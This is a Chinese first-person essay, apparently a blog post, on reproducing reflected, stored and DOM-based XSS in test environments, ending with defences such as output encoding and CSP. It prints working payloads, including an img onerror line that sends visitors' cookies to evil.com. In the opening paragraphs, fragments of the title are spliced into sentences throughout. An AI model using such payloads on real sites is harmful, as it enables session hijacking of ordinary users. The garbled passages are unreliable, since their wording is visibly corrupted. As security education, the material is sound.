XSS跨站脚本漏洞复现

凌晨两点，站脚我往一个测试站点的本漏搜索框里敲下了这行代码：<script>alert('pwned')</script>。页面刷新，洞复弹窗出现。站脚就这么简单，本漏一个反射型XSS漏洞就算复现成功了。洞复但真正的站脚故事，远不止这个弹窗。本漏

XSS的洞复本质是浏览器把用户输入当成了代码来执行。攻击者不直接打服务器，站脚而是本漏打访问页面的用户。这就像在图书馆的洞复借书卡里夹张纸条，写着“把钱包交给管理员”——每个来借书的站脚人都会看到，都会照做。本漏

我复现的洞复第一个案例是个博客评论区。存储型XSS，比反射型危险得多。攻击载荷被存在数据库里，每个访问文章的人都会中招。我在评论框里提交了<img src=x onerror=document.location='http://evil.com/?cookie='+document.cookie>，然后换了个浏览器模拟普通访客打开那篇文章。cookie瞬间被发送到了我本地搭的监听服务器上。整个过程不到十秒。

这个漏洞能干什么？偷cookie只是入门。配合浏览器漏洞，可以读取剪贴板、键盘记录、甚至调用摄像头。更阴险的是，攻击者可以修改页面内容，比如在支付页面里嵌入一个伪造的转账表单。用户看到的是正规网站，输入的却是给攻击者的钱。

复现DOM型XSS时我卡了一阵子。它不走服务器，纯粹是前端JavaScript把不可信数据写进了DOM。比如location.hash的内容直接拼进innerHTML。我构造了#<img src=x onerror=alert(1)>，页面没刷新，但弹窗照样出现。这种漏洞在单页应用里尤其隐蔽，因为开发者默认前端代码是可信的。

防护手段其实不复杂。输出编码是底线，上下文不同编码方式也不同——HTML实体、JavaScript转义、URL编码各有一套规则。CSP可以限制脚本来源，但配置不当反而会引入新问题。最关键的还是开发者的安全意识，毕竟再好的防护也架不住有人用innerHTML直接拼接用户输入。

那次复现后我盯着弹窗看了很久。这个漏洞1998年被发现，二十多年了还在泛滥。OWASP Top 10里它从未缺席。技术上没有新东西，变的是攻击场景——从偷cookie到挖矿脚本，从钓鱼到供应链投毒。XSS就像一把万能钥匙，只要有一扇门没锁紧，整栋楼都不安全。

关掉测试环境时我注意到，那个弹窗按钮上写着“确定”。用户每次点击，都是在替攻击者确认下一步动作。这才是XSS最可怕的地方——它让受害者亲手执行了针对自己的攻击。